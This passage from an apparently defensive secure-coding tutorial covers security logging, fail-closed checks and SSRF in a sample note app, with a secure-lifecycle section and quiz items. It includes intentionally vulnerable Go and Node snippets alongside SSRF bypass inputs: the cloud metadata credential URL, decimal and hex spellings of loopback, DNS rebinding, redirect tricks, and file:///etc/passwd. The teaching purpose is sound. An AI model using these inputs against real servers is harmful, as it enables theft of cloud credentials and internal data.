Breaches are commonly found weeks or months after they start, and often by someone outside the company (a customer, a journalist, a researcher) rather than by the company's own monitoring. Good logging won't stop an attack, but it turns "we don't know what they took" into "they read 212 notes between 02:10 and 02:40 from these IPs, here's the list".
What to log
Log events that matter for security, as structured lines (key=value or JSON) so they can be searched and counted:
| Event | Why |
|---|---|
| Login success and failure, MFA failure, password reset requested and completed | Credential stuffing and account takeover show up here first |
| Access denied: the 404s from the owner check in §03, 403s | Someone walking through other people's ids |
| Admin and permission changes: role granted, user deleted, settings changed | "Who did this?" (the R in STRIDE, §05) |
| Blocked attacks: SSRF blocked (§10), path escapes blocked (§03), CSP reports (§04) | Proof someone is actively probing you |
| High-value actions: export all notes, change of email, new API key | The things an attacker does right after getting in |
Each line should say who (user id, IP), what (event name, object id), when, the outcome, and a request id to connect it to everything else that happened in that request (Observability).
What never to log
// VULNERABLE: nothing on failure… and too much on success.
if err != nil {
return // silent: 50,000 of these over a weekend and nobody knows
}
log.Printf("login ok: email=%s password=%s token=%s", email, password, token)
// FIXED: every outcome, structured, no secrets.
slog.Warn("auth.login_failed", "user_id", userID, "ip", ip, "request_id", reqID)
slog.Info("auth.login_ok", "user_id", userID, "ip", ip, "request_id", reqID)Never log passwords (failed ones are usually a typo of the real one), session ids, tokens and API keys (a log line becomes a working login), or card numbers. Keep personal data such as emails and names out where you can: log a user id and look the person up when needed. Logs are copied into more places and read by more people than your database, so treat them as less private. (Observability shows how to make redaction automatic.)
Monitoring: someone has to look
Logs nobody reads are A09 too. Turn the events above into a few alerts that page a human:
- More than 20
auth.login_failedfor one account in 5 minutes, or more than 500 from one IP range: credential stuffing (Rate Limiting should also be slowing it down). - One user getting dozens of 404s on
/notes/{id}for ids that aren't theirs: someone probing for an IDOR (§03). - Any
ssrf.blockedorfile.path_escapeevent: nobody types those by accident. - An admin action from a new country, or a bulk export at 3 a.m.
Keep the list short and every alert actionable, with a Runbook that says what to check first (Observability covers alert design). Ship security logs off the server quickly, to storage the app can append to but not delete from, so an attacker who gets in can't erase their tracks.
2025's new A10: when the check itself fails
The 2025 list added Mishandling of Exceptional Conditions. Its most dangerous form is a security check that, when it hits an error, lets the request through:
allowed, err := policy.CanRead(ctx, user, noteID) // calls the permissions service
if err != nil {
slog.Error("authz check failed", "err", err)
// VULNERABLE: falls through. When the permissions service is down,
// every note is readable by everyone.
}
// FIXED: an error means "no".
if err != nil {
slog.Error("authz check failed", "err", err, "note", noteID)
http.Error(w, "temporarily unavailable", http.StatusServiceUnavailable)
return // ← the line the vulnerable version is missing
}
if !allowed {
http.NotFound(w, r)
return
}The rule is to fail closed: when you can't tell whether something is allowed, it isn't. The same goes for a signature check that throws, a config file that's missing (default to the strict setting, not the permissive one), and a request that times out halfway through a payment (record it as "unknown, check later", not "succeeded"). The cost is an outage for that feature; the alternative is a breach every time a dependency has a bad day.
A10 SSRF: when your server fetches for the attacker
Notely's link preview
When you paste a link into a note, Notely fetches the page and shows its title. Here's the first version:
func preview(raw string) (string, error) {
resp, err := http.Get(raw) // ← any URL the user typed
if err != nil {
return "", err
}
defer resp.Body.Close()
b, err := io.ReadAll(io.LimitReader(resp.Body, 1<<20)) // read at most 1 MiB
return extractTitle(b), err // parses the HTML (that's the x/net/html from §07)
}The server sits inside the network. It can reach things the attacker can't:
- The cloud metadata endpoint. On AWS, GCP and Azure,
http://169.254.169.254/answers questions a virtual machine asks about itself, including, on AWS, temporary credentials for the machine's cloud role. A preview ofhttp://169.254.169.254/latest/meta-data/iam/security-credentials/notely-roleputs those credentials on the attacker's screen. This is how several large cloud breaches started. - Services on Loopback:
http://localhost:8080/admin, Redis onlocalhost:6379, the pprof port from §06. - The internal network: anything on the private address ranges like
10.0.3.7, which has no password because "it's internal".
We ran the vulnerable Go and Node versions against a pretend internal service on 127.0.0.1 (the "secret" is fake):
http://127.0.0.1:18081/ → "INTERNAL: aws_secret_access_key=EXAMPLEKEY"
http://localhost:18081/ → "INTERNAL: aws_secret_access_key=EXAMPLEKEY"Any feature that fetches a user-supplied URL has this shape: link previews, "import from URL", avatar URLs, PDF generators that load images, and webhooks (you call a URL your customer configured).
Why the obvious fixes fail
The first instinct is to block bad-looking URLs. Try it in the lab: pick string blocklist on the right, then work through the presets. Then try resolve, check, then fetch, and finally check at connect time.
- Parse: scheme http:, host 169.254.169.254.
- Connect: the HTTP client uses 169.254.169.254 and opens a connection.
- Response from 169.254.169.254:
{"AccessKeyId":"AKIAEXAMPLEFAKEKEY","SecretAccessKey":"fake/fake/fake…","Token":"…"}
What the lab shows:
- There are many ways to write
127.0.0.1. URL parsers that follow the WHATWG URL standard (browsers, Node'sURLandfetch) readhttp://2130706433/andhttp://0x7f.1/as127.0.0.1.[::ffff:7f00:1]is the IPv6 way to say the same address, and0.0.0.0also reaches the local machine on Linux and macOS. A list of forbidden strings can't keep up. Go'surl.Parseaccepts all of these too; what happens next depends on which DNS resolver Go uses (see the output below). - The attacker controls DNS for their own domains.
metadata.attacker.examplecan simply resolve to169.254.169.254. Nothing in the URL text looks internal. - Redirects. You check
redirect.attacker.example, it's public, and it answers302 Location: http://169.254.169.254/…. Most HTTP clients, including Go's andfetch, follow redirects automatically. - DNS rebinding. Even "resolve the name, check the IP, then fetch" fails, because
fetchresolves the name again:
1async function preview(raw) {2 const u = new URL(raw);3 if (u.protocol !== "https:" && u.protocol !== "http:") throw new Error("scheme");4 const { address } = await dns.promises.lookup(u.hostname); // lookup #15 if (isBlocked(address)) throw new Error("blocked");6 const res = await fetch(u); // lookup #2 inside7 return (await res.text()).slice(0, 200);8}
The general problem has a name: the check and the use are separate steps, so what you checked isn't what you used (TOCTOU). The cure is to make them one step: check the address inside the code that opens the connection. Every connection, including each redirect hop, goes through that code, and it sees the final IP after all the parsing and DNS games.
The fix: check the IP at connect time
// Ranges that are internal but not covered by the netip helpers below.
var extraBlocked = []netip.Prefix{
netip.MustParsePrefix("0.0.0.0/8"), // "this network"; 0.x.x.x can reach the local host
netip.MustParsePrefix("100.64.0.0/10"), // CGNAT: shared internal space used by ISPs and clouds
netip.MustParsePrefix("64:ff9b::/96"), // NAT64: IPv6 addresses that wrap an IPv4 one
}
// allowed reports whether we may connect to this IP.
func allowed(ip netip.Addr) bool {
ip = ip.Unmap() // ::ffff:127.0.0.1 → 127.0.0.1
// IsGlobalUnicast is false for loopback, link-local (169.254.x.x), multicast and 0.0.0.0.
if !ip.IsGlobalUnicast() || ip.IsPrivate() {
return false
}
for _, p := range extraBlocked {
if p.Contains(ip) {
return false
}
}
return true
}
var safeClient = &http.Client{
Timeout: 5 * time.Second,
Transport: &http.Transport{
Proxy: nil, // ← no proxy: the check must see the real destination
DialContext: (&net.Dialer{
Timeout: 3 * time.Second,
// Runs after DNS, right before each connection, including redirects.
Control: func(network, address string, _ syscall.RawConn) error {
ap, err := netip.ParseAddrPort(address) // e.g. "93.184.215.14:443"
if err != nil || !allowed(ap.Addr()) {
return fmt.Errorf("ssrf: destination not allowed: %s", address)
}
return nil
},
}).DialContext,
},
CheckRedirect: func(req *http.Request, via []*http.Request) error {
if len(via) >= 3 {
return errors.New("too many redirects")
}
return nil
},
}
func preview(ctx context.Context, raw string) (string, error) {
u, err := url.Parse(raw)
if err != nil || (u.Scheme != "http" && u.Scheme != "https") {
return "", errors.New("ssrf: only http and https")
}
req, err := http.NewRequestWithContext(ctx, http.MethodGet, u.String(), nil)
if err != nil {
return "", err
}
resp, err := safeClient.Do(req)
if err != nil {
return "", err
}
defer resp.Body.Close()
b, err := io.ReadAll(io.LimitReader(resp.Body, 1<<20))
return extractTitle(b), err
}Real output from exactly the code above, against the same pretend internal service. The vulnerable versions returned the fake secret for every URL here, with a few accidental exceptions: both refused file:, and Node's fetch failed to connect to the IPv6-mapped address on this machine. Go's case is the instructive one:
$ GODEBUG=netdns=go go run . # Go's own resolver: "2130706433" is just an unknown name
http://2130706433:18081/ vulnerable: dial tcp: lookup 2130706433: no such host
$ GODEBUG=netdns=cgo go run . # the system resolver (getaddrinfo), the default on macOS
http://2130706433:18081/ vulnerable: "INTERNAL: aws_secret_access_key=EXAMPLEKEY"
http://0x7f.1:18081/ vulnerable: "INTERNAL: aws_secret_access_key=EXAMPLEKEY"
fixed: dial tcp 127.0.0.1:18081: ssrf: destination not allowed: 127.0.0.1:18081The same vulnerable code is "safe" on one machine and leaks on another, depending on a resolver setting nobody chose on purpose. Don't count on accidents like that; they're not defenses. The fixed version blocks both cases for the same reason it blocks everything else: it never looks at the URL text, only at the IP the resolver produced, at the moment of connecting.
http://127.0.0.1:18081/
fixed: "" Get "http://127.0.0.1:18081/": dial tcp 127.0.0.1:18081: ssrf: destination not allowed: 127.0.0.1:18081
http://localhost:18081/
fixed: "" Get "http://localhost:18081/": dial tcp 127.0.0.1:18081: ssrf: destination not allowed: 127.0.0.1:18081
http://[::ffff:127.0.0.1]:18081/
fixed: "" Get "http://[::ffff:127.0.0.1]:18081/": dial tcp 127.0.0.1:18081: ssrf: destination not allowed: 127.0.0.1:18081
http://0.0.0.0:18081/
fixed: "" Get "http://0.0.0.0:18081/": dial tcp 0.0.0.0:18081: ssrf: destination not allowed: 0.0.0.0:18081
file:///etc/passwd
fixed: "" ssrf: only http and httpsWe also pointed both at a server that answers 302 with a Location on a blocked address: Go's dialer refused the second hop (dial tcp 127.0.0.2:18086: ssrf: destination not allowed), and so did the Node version's own redirect handling.
Note the Go error for localhost: the dialer reports 127.0.0.1, the address it was about to use. That's the point: the check never sees a name, only the final IP.
These lists cover the common cases. The complete set of special-purpose ranges is IANA's special-purpose address registry; if you can use an allowlist of destinations instead (next section), prefer it.
Layers around the check
The connect-time check is the core. Around it:
- Allowlist when you can. If the feature only needs to call a few partners' APIs or your own CDN, list those hosts and refuse everything else. An allowlist fails safe; a blocklist fails open.
- Timeouts and a size cap. Otherwise a URL to a slow or endless server ties up your workers (the D in STRIDE).
- Don't show the raw response. Notely only needs the title. Returning the full body, or detailed error messages, turns a "blind" SSRF into one that reads data.
- Network rules. Run the fetcher in its own small service whose network only allows outbound traffic to the public internet: egress filtering. Then even a bug in the code can't reach the database subnet.
- Harden the metadata endpoint. On AWS, require IMDSv2, which needs a session token obtained with a
PUTrequest and a special header; a plainGETthrough a typical SSRF bug doesn't get one. Other clouds require aMetadata-FlavororMetadataheader for the same reason.
Staff-level: a secure development lifecycle
Every category in this topic has the same lesson underneath: the fix is easy once someone notices. The staff-level job is to make noticing automatic, and to make the safe way the easy way.
1. Paved roads beat policies
"Remember to check the IP before fetching" fails the first time a new hire writes http.Get(url). A paved road is a shared, blessed way of doing a risky thing that is safe by default:
| Risk | Paved road |
|---|---|
| A01 object access | Repository functions that always take the caller: notes.Get(ctx, user, id); there is no GetByID without an owner |
| A03 XSS | One template engine with auto-escaping; a lint rule against innerHTML and dangerouslySetInnerHTML |
| A05 headers, errors | One HTTP server package that adds security headers, hides error details and keeps pprof on a private port |
| A10 SSRF | safehttp.Client from §10, and a rule that flags any other client fetching non-constant URLs |
| A09 logging | A logger with redaction built in and named security events (auth.login_failed) |
Then the review question shrinks from "is this secure?" to "why didn't you use the paved road?".
2. Automated checks in CI
Run these on every pull request, and fail the build on high-severity findings:
- SAST reads code for dangerous patterns. For Go,
gosecandgo vet; for JavaScript, ESLint security plugins; across languages, Semgrep (easy to write your own rules, like "http.Getwith a non-constant argument") and CodeQL (follows data from input to dangerous calls). - Dependency scanning:
govulncheck ./...,npm audit --audit-level=high, plus Dependabot or Renovate for upgrade pull requests (§07). Also run nightly, because new advisories appear for old code. - Secret scanning: block commits containing keys before they land (Secrets Management).
- Policy checks on infrastructure code: no public buckets, no
0.0.0.0/0on database ports.
Expect noise. A scanner that cries wolf 50 times a week gets ignored, so someone must own the tuning: suppress false positives in code with a comment that says why, and track the suppression count.
3. Testing the running app
- DAST on staging: OWASP ZAP's baseline scan runs in a few minutes and catches missing headers, verbose errors, reflected XSS and exposed debug pages (A05).
- Security regression tests: every fixed vulnerability gets a test that performs the attack (user B reads user A's note, a preview of
http://169.254.169.254/is refused). It can never come back silently. - Penetration tests for major launches and once a year: humans find the business-logic and design bugs tools can't (A04).
4. People and process
- Threat models in design review (§05): a "Security" heading in the design-doc template with the STRIDE prompts, filled in for anything that touches auth, money, files, user-supplied URLs or new data stores.
- Security champions: one engineer per team with extra training and a direct line to the security team. A central team of three can't review 200 engineers' designs; 20 champions can.
- A real checklist when you need one: map your requirements to the ASVS level that fits the app, instead of claiming "Top 10 compliant".
5. When someone outside finds a bug
Researchers will find things. Make it easy for them to tell you rather than Twitter:
Contact: mailto:security@notely.example
Expires: 2027-10-31T00:00:00.000Z
Policy: https://notely.example/security/disclosure
Preferred-Languages: enThat file format is RFC 9116: Contact and Expires are required. Behind it you need a disclosure policy (what's in scope, a promise not to take legal action against good-faith research, how fast you'll respond), and a triage rota that actually reads the inbox. A paid bug bounty comes later, once you can handle the volume.
6. The handoff to incident response
When a report is real, or an alert from §09 fires, it stops being a bug and becomes an incident:
- Contain: turn off the feature with a flag, block the IPs, revoke the stolen keys.
- Rotate every credential the attacker could have seen (the metadata role's keys, the database password from
/debug/pprof/cmdline). - Investigate with the logs you set up in §09: what was accessed, by whom, since when. This is where A09 pays for itself.
- Fix and verify, with a regression test.
- Notify: users and, depending on the data and the country, regulators. Many privacy laws have short deadlines (the EU's GDPR, for example, expects the regulator to be told within 72 hours of discovering a personal-data breach).
- Blameless postmortem: ask "why was this easy to get wrong?", and turn the answer into a paved road or a CI check, so the whole category gets harder, not just this one bug.
Pitfalls gallery
Checking permissions in the front end
Hiding the "Delete" button for non-admins is good UX and zero security. Anyone can send DELETE /notes/n2 with curl. Every permission check happens on the server, on every request (§03).
// browser
if (user.isAdmin) showDeleteButton(); // the only check// server, in the handler
if !user.IsAdmin { // checked where the action happens
http.NotFound(w, r)
return
}Trusting fields the client sends
The request body says {"owner_id": "alice", "role": "admin"}. If your handler decodes the whole body into the database model, the user just made themselves an admin. This is called mass assignment. Decode into a struct with only the fields users may set, and take identity (owner_id) from the session, never from the body.
type updateNote struct { // what a user may change: nothing else
Title string `json:"title"`
Text string `json:"text"`
}Sanitizing input instead of encoding output
Stripping <script> from comments on the way in fails three ways: attackers have endless spellings (§04), the same data later lands in contexts with different rules (HTML, a URL, a JSON blob, a CSV export), and you mangle legitimate text like a < b. Store what the user typed; encode for the context on the way out. Validate input for business rules (length, format, allowed values), not as your XSS defense.
Blocklists
Blocking ../, <script>, localhost or 169.254.169.254 as strings loses to the next spelling: ....//, <img onerror>, 2130706433, a DNS name that resolves internally. Decide on the final, resolved thing (the opened path, the parsed DOM, the IP being connected to), and prefer allowlists (§03, §10).
“The WAF will catch it”
A WAF in front of the app blocks common payloads and buys time while you patch. It doesn't understand your app: it can't know that note n2 isn't Alice's, and SSRF through an innocent-looking domain sails through. Treat it as a layer of Defense in depth, never as the fix.
Unguessable ids as access control
UUIDs in URLs make IDOR harder to find, not impossible: ids leak through logs, shared links, browser history, Referer headers and screenshots. Keep them, and still check ownership (§03).
Trusting X-Forwarded-For
Rate limits and logs keyed on the client IP often read X-Forwarded-For, a header anyone can send. Only trust the value added by your own proxy (the right-most entry your load balancer appended), or attackers spoof a new IP per request and walk past login limits (Rate Limiting covers this).
Swallowed errors in security checks
if err != nil { log.Println(err) } with no return, or an empty catch, in an auth or signature check makes the check fail open: an outage becomes a bypass (§09). In security code, an error means "no".
Debug settings that ship
DEBUG=true, detailed error pages, /debug/pprof on the public port, Node's --inspect=0.0.0.0, Swagger "try it out" on production, CORS set to * "temporarily". Each was fine on a laptop. Make production configuration explicit and reviewed, and scan staging for these (§06).
Treating the Top 10 as the finish line
"We passed an OWASP Top 10 scan" says the scanner didn't find the patterns it knows. It says nothing about your business logic: coupons applied twice, a refund to a different card, an invite link that grants admin. Threat-model your own features (§05) and use the ASVS when you need a real checklist (§02).
Check yourself
Part 1: spot the red flag
Ten snippets of the kind you'll meet in real code reviews. Name the category before you look at the answer. Each one is covered somewhere in §03–§10.
row := db.QueryRow("SELECT * FROM notes WHERE id = $1", r.PathValue("id"))Part 2: predict the answer
Q1 is covered in §04, Q2 in §10, Q3 and Q4 in §03, Q5 in §07, Q6 in §09.
A comment containing <script>alert(1)</script> is inserted with div.innerHTML = comment. What happens?
root, _ := os.OpenRoot("uploads")
_, err := root.Open("../config/secret.env")
fmt.Println(err)GET /notes/n2 returns 403 Forbidden for notes that exist but aren't yours, and 404 for notes that don't exist. What's the problem?
Our scan said: “Your code is affected by 2 vulnerabilities … also found … 2 vulnerabilities in modules you require, but your code doesn't appear to call these.” What's the right move?
Cheat sheet
os.Root.html/template, textContent, escaping template engines. CSP as the second layer.govulncheck and npm audit in CI and nightly. Commit lockfiles, install with npm ci, upgrade in small steps.Dialer.Control, Node lookup), cap time and size.| Category (2021) | The bug, in one line | The fix, in one line | Where |
|---|---|---|---|
| A01 Broken Access Control | WHERE id = $1 with no owner; filepath.Join(dir, userName) | AND owner_id = $2; os.Root / realpath + prefix check | §03 |
| A02 Cryptographic Failures | MD5 passwords, plain HTTP | bcrypt/scrypt/Argon2, HTTPS + HSTS | §08, Crypto Basics |
| A03 Injection | innerHTML = input, fmt.Fprintf(w, "<p>%s", input) | textContent, html/template, prepared statements | §04, Injection |
| A04 Insecure Design | 4-digit share codes | 128-bit random codes, expiry, rate limits: decided at design time | §05 |
| A05 Security Misconfiguration | _ "net/http/pprof" + ListenAndServe(":8080", nil) | Own ServeMux; debug on 127.0.0.1 only; headers middleware | §06 |
| A06 Vulnerable and Outdated Components | x/net@v0.20.0, lodash@4.17.20 | Scanners in CI, small regular upgrades, lockfiles | §07 |
| A07 Identification and Authentication Failures | "No account with that email" + unlimited tries | One generic message, rate limits, MFA | §08, Authn & Authz |
| A08 Software and Data Integrity Failures | install(download), deep-merging request JSON | ed25519.Verify first; copy only expected fields | §08 |
| A09 Security Logging and Monitoring Failures | Empty catch, password= in logs | Structured security events, redaction, alerts | §09 |
| A10 Server-Side Request Forgery (SSRF) | http.Get(userURL) | Connect-time IP check, allowlist, timeouts, egress rules | §10 |
2025 edition, at a glance: SSRF folds into A01; Misconfiguration rises to A02; Software Supply Chain Failures (A03) and Mishandling of Exceptional Conditions (A10) are new; Cryptographic Failures, Injection and Insecure Design each move down two places (§02).